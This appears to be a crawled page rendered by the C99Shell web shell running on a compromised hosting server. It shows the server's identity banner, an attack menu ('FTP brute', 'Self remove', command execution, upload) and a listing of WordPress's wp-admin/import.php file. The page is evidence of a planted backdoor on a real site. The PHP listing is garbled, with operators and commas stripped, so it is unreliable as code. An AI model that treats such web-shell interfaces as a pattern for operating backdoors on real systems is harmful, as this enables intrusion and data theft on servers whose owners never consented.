!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-admin/   drwxr-xr-x
Free 183.11 GB of 490.84 GB (37.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     import.php (7.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Import WordPress Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

define('WP_LOAD_IMPORTERS'true);

/** Load WordPress Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

if ( ! 
current_user_can'import' ) ) {
    
wp_die__'Sorry, you are not allowed to import content.' ) );
}

$title __('Import');

get_current_screen()->add_help_tab( array(
    
'id'      => 'overview',
    
'title'   => __('Overview'),
    
'content' => '<p>' __('This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform.') . '</p>' .
        
'<p>' __('In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently.') . '</p>',
) );

get_current_screen()->set_help_sidebar(
    
'<p><strong>' __('For more information:') . '</strong></p>' .
    
'<p>' __('<a href="https://codex.wordpress.org/Tools_Import_Screen">Documentation on Import</a>') . '</p>' .
    
'<p>' __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

if ( 
current_user_can'install_plugins' ) ) {
    
// List of popular importer plugins from the WordPress.org API.
    
$popular_importers wp_get_popular_importers();
} else {
     
$popular_importers = array();
}

// Detect and redirect invalid importers like 'movabletype', which is registered as 'mt'
if ( ! empty( $_GET['invalid'] ) && isset( $popular_importers$_GET['invalid'] ] ) ) {
    
$importer_id $popular_importers$_GET['invalid'] ]['importer-id'];
    if ( 
$importer_id != $_GET['invalid'] ) { // Prevent redirect loops.
        
wp_redirectadmin_url'admin.php?import=' $importer_id ) );
        exit;
    }
    unset( 
$importer_id );
}

add_thickbox();
wp_enqueue_script'plugin-install' );
wp_enqueue_script'updates' );

require_once( 
ABSPATH 'wp-admin/admin-header.php' );
$parent_file 'tools.php';
?>

<div class="wrap">
<h1><?php echo esc_html$title ); ?></h1>
<?php if ( ! empty( $_GET['invalid'] ) ) : ?>
    <div class="error">
        <p><strong><?php _e'ERROR:' ); ?></strong> <?php
            
/* translators: %s: importer slug */
            
printf__'The %s importer is invalid or is not installed.' ), '<strong>' esc_html$_GET['invalid'] ) . '</strong>' );
        
?></p>
    </div>
<?php endif; ?>
<p><?php _e('If you have posts or comments in another system, WordPress can import those into this site. To get started, choose a system to import from below:'); ?></p>

<?php
// Registered (already installed) importers. They're stored in the global $wp_importers.
$importers get_importers();

// If a popular importer is not registered, create a dummy registration that links to the plugin installer.
foreach ( $popular_importers as $pop_importer => $pop_data ) {
    if ( isset( 
$importers$pop_importer ] ) )
        continue;
    if ( isset( 
$importers$pop_data['importer-id'] ] ) )
        continue;

    
// Fill the array of registered (already installed) importers with data of the popular importers from the WordPress.org API.
    
$importers$pop_data['importer-id'] ] = array( $pop_data['name'], $pop_data['description'], 'install' => $pop_data['plugin-slug'] );
}

if ( empty( 
$importers ) ) {
    echo 
'<p>' __('No importers are available.') . '</p>'// TODO: make more helpful
} else {
    
uasort$importers'_usort_by_first_member' );
?>
<table class="widefat importers striped">

    <?php
    
foreach ( $importers as $importer_id => $data ) {
        
$plugin_slug $action '';
        
$is_plugin_installed false;

        if ( isset( 
$data['install'] ) ) {
            
$plugin_slug $data['install'];

            if ( 
file_existsWP_PLUGIN_DIR '/' $plugin_slug ) ) {
                
// Looks like an importer is installed, but not active.
                
$plugins get_plugins'/' $plugin_slug );
                if ( ! empty( 
$plugins ) ) {
                    
$keys array_keys$plugins );
                    
$plugin_file $plugin_slug '/' $keys[0];
                    
$url wp_nonce_urladd_query_arg( array(
                        
'action' => 'activate',
                        
'plugin' => $plugin_file,
                        
'from'   => 'import',
                    ), 
admin_url'plugins.php' ) ), 'activate-plugin_' $plugin_file );
                    
$action sprintf(
                        
'<a href="%s" aria-label="%s">%s</a>',
                        
esc_url$url ),
                        
/* translators: %s: Importer name */
                        
esc_attrsprintf__'Run %s' ), $data[0] ) ),
                        
__'Run Importer' )
                    );

                    
$is_plugin_installed true;
                }
            }

            if ( empty( 
$action ) ) {
                if ( 
is_main_site() ) {
                    
$url wp_nonce_urladd_query_arg( array(
                        
'action' => 'install-plugin',
                        
'plugin' => $plugin_slug,
                        
'from'   => 'import',
                    ), 
self_admin_url'update.php' ) ), 'install-plugin_' $plugin_slug );
                    
$action sprintf(
                        
'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%3$s" aria-label="%4$s">%5$s</a>',
                        
esc_url$url ),
                        
esc_attr$plugin_slug ),
                        
esc_attr$data[0] ),
                        
/* translators: %s: Importer name */
                        
esc_attrsprintf__'Install %s' ), $data[0] ) ),
                        
__'Install Now' )
                    );
                } else {
                    
$action sprintf(
                        
/* translators: URL to wp-admin/import.php */
                        
__'This importer is not installed. Please install importers from <a href="%s">the main site</a>.' ),
                        
get_admin_urlget_current_network_id(), 'import.php' )
                    );
                }
            }
        } else {
            
$url add_query_arg( array(
                
'import' => $importer_id,
            ), 
self_admin_url'admin.php' ) );
            
$action sprintf(
                
'<a href="%1$s" aria-label="%2$s">%3$s</a>',
                
esc_url$url ),
                
/* translators: %s: Importer name */
                
esc_attrsprintf__'Run %s' ), $data[0] ) ),
                
__'Run Importer' )
            );

            
$is_plugin_installed true;
        }

        if ( ! 
$is_plugin_installed && is_main_site() ) {
            
$url add_query_arg( array(
                
'tab'       => 'plugin-information',
                
'plugin'    => $plugin_slug,
                
'from'      => 'import',
                
'TB_iframe' => 'true',
                
'width'     => 600,
                
'height'    => 550,
            ), 
network_admin_url'plugin-install.php' ) );
            
$action .= sprintf(
                
' | <a href="%1$s" class="thickbox open-plugin-details-modal" aria-label="%2$s">%3$s</a>',
                
esc_url$url ),
                
/* translators: %s: Importer name */
                
esc_attrsprintf__'More information about %s' ), $data[0] ) ),
                
__'Details' )
            );
        }

        echo 
"
            <tr class='importer-item'>
                <td class='import-system'>
                    <span class='importer-title'>
{$data[0]}</span>
                    <span class='importer-action'>
{$action}</span>
                </td>
                <td class='desc'>
                    <span class='importer-desc'>
{$data[1]}</span>
                </td>
            </tr>"
;
    }
    
?>
</table>
<?php
}

if ( 
current_user_can('install_plugins') )
    echo 
'<p>' sprintf__('If the importer you need is not listed, <a href="%s">search the plugin directory</a> to see if an importer is available.'), esc_urlnetwork_admin_url'plugin-install.php?tab=search&type=tag&s=importer' ) ) ) . '</p>';
?>

</div>

<?php
wp_print_request_filesystem_credentials_modal
();
wp_print_admin_notice_templates();

include( 
ABSPATH 'wp-admin/admin-footer.php' );

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0105 ]--